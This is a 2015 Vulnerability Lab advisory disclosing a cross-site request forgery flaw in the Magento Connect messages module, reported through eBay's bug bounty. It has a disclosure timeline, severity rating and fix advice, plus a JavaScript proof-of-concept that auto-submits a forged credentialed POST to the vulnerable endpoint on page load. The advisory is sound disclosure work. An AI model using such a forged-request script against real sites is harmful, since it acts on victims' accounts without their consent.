Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1460

Video: http://www.vulnerability-lab.com/get_content.php?id=1526

View Video: https://www.youtube.com/watch?v=x7uaABfxxU0

EIBBP-31602


Release Date:
=============
2015-06-17


Vulnerability Laboratory ID (VL-ID):
====================================
1460


Common Vulnerability Scoring System:
====================================
2.5


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was 
developed 
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now 
owned 
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) 
database model 
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to 
protecting 
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a 
vulnerability 
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the 
official Magento Commerce web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-18: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-05-19: Vendor Fix/Patch (Magento Developer Team)
2015-05-21: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-06-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site request forgery vulnerability vulnerability has been discovered in the official Magento 
Commerce web-application.
The vulnerability allows to execute unauthorized client-side application functions without secure validation or session 
token protection mechanism.

Th vulnerability is located in the `create messages` input of the `magento-connect/message/message/create/` module. 
Remote attackers with low privilege 
user accounts are able to delete internal magento messages of other users without authorization. The attacker can for 
example intercept the session to 
delete all exisiting messages. The type of issue was disclosed to the phpbb board some years ago.

The security risk of the cross site request forgery vulnerability is estimated as medium with a cvss (common 
vulnerability scoring system) count of 2.5. 
Exploitation of the vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability 
results in unauthorized delete or add of magento connect service panel messages.

Vulnerable Module(s):
                                [+] magento-connect/message/message/create/


Proof of Concept (PoC):
=======================
The client-side cross site request forgery web vulnerability can be exploited by remote attackers without privileged 
application user account and with medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

Manual steps to reproduce the vulnerability ...
1. Login to magento connect
2. Open the send message module
3. Switch to the code review and watch the vulnerable source
4. Follow the steps in the video to recreate the csrf attack!
Note: Tamper the session to intercept the url in a browser
5. Successful reproduce of the security vulnerability!


PoC: Vulnerable Source
<script>
function submitRequest()
{
    var xhr = new XMLHttpRequest();
    var response = '';
    xhr.open("POST", "https://www.magentocommerce.com/magento-connect/message/message/create/";, true);
    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "multipart/form-data; 
boundary=---------------------------746394422743733252058139105");
    xhr.withCredentials = "true";
    var body =   "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"to\"\r\n" +
                 "\r\n"+
                 "addext01\r\n"+
                 "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"subjects\"\r\n" +
                 "\r\n"+
                 "pentest\r\n"+         
                 "-----------------------------746394422743733252058139105\r\n"+        
                 "Content-Disposition: form-data; name=\"description\"\r\n" +
                 "\r\n"+
                 "hello\r\n"+   
                 "-----------------------------746394422743733252058139105\r\n"+              
                 "Content-Disposition: form-data; name=\"extension_url\"\r\n" +
                 "\r\n"+
                 "\r\n"+    
                 "-----------------------------746394422743733252058139105\r\n"+             
                 "Content-Disposition: form-data; name=\"parent_message_id\"\r\n"+
                 "\r\n"+
                 "0\r\n"+
                 "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"prevent_click\"\r\n" +
                 "\r\n"+
                 "0\r\n"+
                 "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"draft\"\r\n"+
                 "\r\n"+
                 "0\r\n"+
                 "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"to\"\r\n"+
                 "\r\n"+
                 "addext01\r\n"+
                 "-----------------------------746394422743733252058139105\r\n"+
                 "Content-Disposition: form-data; name=\"send\"\r\n" +
                 "\r\n"+
                 "0\r\n"+

                 "-----------------------------746394422743733252058139105\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
    xhr.onreadystatechange = function () {
        document.getElementById("myDiv").innerHTML=this.response;
    }
}

window.onload = submitRequest();

</script>


Reference(s):
https://www.magentocommerce.com/magento-connect/
https://www.magentocommerce.com/magento-connect/message/
https://www.magentocommerce.com/magento-connect/message/message/create/


Solution - Fix & Patch:
=======================
Setup a cross site request forgery token to protect the create/delete messages module in the magento connect 
online-service.


Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the messages module is estimated as medium. 
(CVSS 2.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz () hotmail fr]


Disclaimer & Information:
=========================
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